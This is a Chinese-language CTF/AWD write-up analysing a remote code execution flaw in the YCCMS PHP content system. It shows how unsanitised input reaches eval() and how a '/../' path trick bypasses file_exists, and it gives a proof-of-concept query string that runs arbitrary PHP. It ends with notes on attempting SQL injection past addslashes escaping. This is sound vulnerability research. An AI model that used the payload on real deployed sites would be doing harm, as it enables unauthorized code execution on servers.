今天打bugku的在线awd
打的时候看到了
php
public function run() {
$_m = isset($_GET['m']) ? $_GET['m'] : 'index';
method_exists($this, $_m) ? eval('$this->'.$_m.'();') : $this->index();
}
算个路由函数,通过m参数来指定model
当时就觉得eval这里有问题,但是看到前面的ethod_exists就感觉有力打不出,因为当时是内部赛,被别的事干扰了以至于去审计其他漏洞去了
事后我想着搜索一下这个yccms的漏洞没想到这里真的可以绕过
参考文章 https://blog.csdn.net/cosmoslin/article/details/123178882
POC
sh
?a=Factory;phpinfo();//../
分析
从admin开始观察
php
<?php
require str_replace('\\','/',substr(dirname(__FILE__),0,-6)).'/config/run.inc.php';
?>
跟进
可以发现代码很简单
如果类为Action结尾,就是controller目录下寻找
如果Model结尾,就在model目录下寻找
否则在public/class目录下寻找
跟进单入口
array数组中就是要登录才能访问的文件
这些文件都在controller目录下,以查询字符串a来传递控制器的类名
php
if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
eval('self::$_obj = new '.ucfirst($_a).'Action();');
漏洞点就在上面这个eval中,我们先看完整个流程
$_a
从getA 方法中来
而controller中,所有类都继承自 Action这个类
还记得单入口吗
这里实际就是返回后的控制器再执行了父类的run方法
首先判断本类是否有这个方法(method_exists),在eval执行本方法
总结一下
a指定控制器(类)
m指定类中的方法
任意代码执行
回过头分析漏洞点
php
if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
eval('self::$_obj = new '.ucfirst($_a).'Action();');
首先判断类是否存在,然后再new该类 我们可以通过 /../
来绕过 file_exists 函数
这里举个栗子
php
file_exists('index.php'); # true
上面判断是否有index.php
php
file_exists('cvdavevfvdfavdacdsvd/../index.php'); # true
当我们伪造一个不存在的目录时,再使用 /.../,此函数则不会判断上一个目录是否存在
通过这个特性,我们只需要根据类的加载机制闭合前面的new语句即可执行
php
eval('self::$_obj = new '.ucfirst($_a).'Action();');
还记得源码类的加载机制吗
如果类为Action结尾,就是controller目录下寻找
如果Model结尾,就在model目录下寻找
否则在public/class目录下寻找
所以我们再public/class目录下随便找个类即可,这里使用Factory测试
sh
a=Factory;phpinfo();//../
sql注入
注入的话似乎很难
全局搜索addslashes函数
发现在Tool类中的setFormString函数
这是登录控制器的初始化类,主要负责登录的是AdminModel类
进入这个类,发现只要设置用户名或者密码就会进行引号的转义
我对这个转义现在还没有想到很好的办法,不知道有没有高手指点一下这个怎么过